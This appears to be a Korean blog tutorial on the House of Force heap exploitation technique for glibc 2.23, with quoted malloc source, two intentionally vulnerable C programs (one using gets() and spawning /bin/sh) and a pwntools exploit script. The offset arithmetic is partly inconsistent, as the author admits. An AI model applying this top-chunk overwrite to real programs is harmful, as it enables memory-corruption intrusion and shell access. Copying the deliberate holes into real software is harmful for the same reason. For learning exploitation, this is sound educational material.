포너블/Heap

House of Force

K0n9 2023. 12. 4. 20:19

공격조건

2.23에서는 가능, malloc을 임의로 할 수 있어야함. top chunk의 size를 조작할 수 있다. 임의의 주소를 알고있어야 한다.

House of Force란?

top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당 할 수 있는 공격 기법이다. 아래는 top chunk를 처리하는 _int_malloc 코드이다.

static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  ...
  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */
...
    use_top:
      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    ...
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}

요약하자면 top chunk의 size가 요청받은 크기인 nb보다 크거나 같으면 top chunk에서 공간을 가져온다.

여기서 top chunk의 size를 2^64 - 1(64bit) 로 조작하고

[임의의 주소] - [header인 0x10] - [topchunk의 주소] - [header인 0x10]

할당을 할 때 +0x10으로 패딩되어서 내가 원하는 것 보다 + 0x10 되어 할당된다. 거기다가 overwrite할 fake chunk의 header도 고려하면 0x20을 추가로 빼줘야 한다.

만약 target의 주소가 0x8로 끝나면 -0x10 은 한번만 해도 된다.

크기의 힙 청크를 할당하면 임의의 주소-16 까지 할당이 되고 다시 힙 청크를 할당하면 임의의 주소에 할당할 수 있다.

 

 

이렇게 될 경우 top chunk의 size가 매우 커진다. 그리고 [임의의 주소]-top chunk address - 0x10 을 하면 아래와 같이 된다.

 

 

여기서 할당을 요청하면 아래와 같이된다.

 

 

결과적으로 임의의 주소에 chunk를 할당할 수 있게 되었다.

 

이해가 안될 수 있어서 추가설명하겠다. 일단 위의 예제에서 임의의 주소는 data 영역을 전제로 함. topchunk가 자기 영역을 떼어주는 원리는 요청받은 크기만큼 topchunk_add + 요청 받은 크기 를 해서 top chunk의 위치를 이동시켜서 영역을 줌. 만약 topchunk를 2^64 -1(무한대)로 하고

[임의의 주소] - [첫 요청 header인 0x10] - [topchunk의 주소] - [두 번째 요청 header인 0x10] 를 할당하면 topchunk의 주소는 [topchunk의 주소] + [임의의 주소] - [첫 요청 header인 0x10] + [header padding 0x10] - [topchunk의 주소] - [header인 0x10] = [임의의 주소] - 0x10 이 된다. 즉 topchunk의 주소가 [임의의 주소]-0x10 이 된 것이다. 여기서 다시 할당을 요청하면 임의의 주소에 할당이 된다.

예제

// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\\n";
int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108;
        fprintf(stderr,"target : %s\\n", target);
        fprintf(stderr,"buf1 : 0x%x\\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\\n", 0x601048);
        *top_chunk_size_addr = 0xffffffffffffffff; //(1)
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
        fprintf(stderr,"exploit_size : 0x%lx\\n", exploit_size);
        trash = malloc(exploit_size); //(2)
        exploit = malloc(0x100); //(3)
        fprintf(stderr,"malloc_addr : 0x%x\\n", exploit);
        strcpy(exploit, "exploited!!!!!!");
        fprintf(stderr,"target : %s\\n", target);
        return 0;
}

우선 (1) 에서 top chunk의 size를 0xffffffffffffffff 으로 바꾼다.

그리고 (2)에서 target 주소 - top chunk 주소 - 0x10 을 요청한 후

(3)에서 0x100을 요청하면 target이 할당된다.

 

예제2

// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	buf1 = malloc(0x20);
	write(1, &buf1, 8);
	gets(buf1); //(1)
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21); //(2)
	trash = malloc(strtoull(malloc_size, NULL, 10));
	buf2 = malloc(0x100); //(3)
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100); //(4)
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
	return 0;
}

(1) 에서 top chunk의 size를 overwrite하고

(2) 에서 target - top_add - 0x20 을 하면

(3) 에서 할당된 chunk는 overwrite_me를 할당하게 되어서

(4) 에서 0xdeadbeefcafebabe를 입력하면 된다.

from pwn import *
context.log_level = 'debug'

p = process("./for2")

pause()

heap_add = u64(p.recv(4)+b"\\x00\\x00\\x00\\x00")
print(hex(heap_add))
target = 0x601090

top_add = heap_add + 0x28

exsize = target - top_add - 0x20
print(hex(exsize))
# 아니 이거 topchunk의 주소도 계산해야돼서 - 0x10 을 더해야함
ex = '\\x00'*0x28
ex += '\\xff'*8
p.sendline(ex)

p.sendlineafter(b"input malloc_size :", str(exsize))

p.sendlineafter(b'write to target :', p64(0xdeadbeefcafebabe))

p.interactive()

 

 

 

 

 

<틀린 부분이 있다면 비난과 욕설을 해주세요>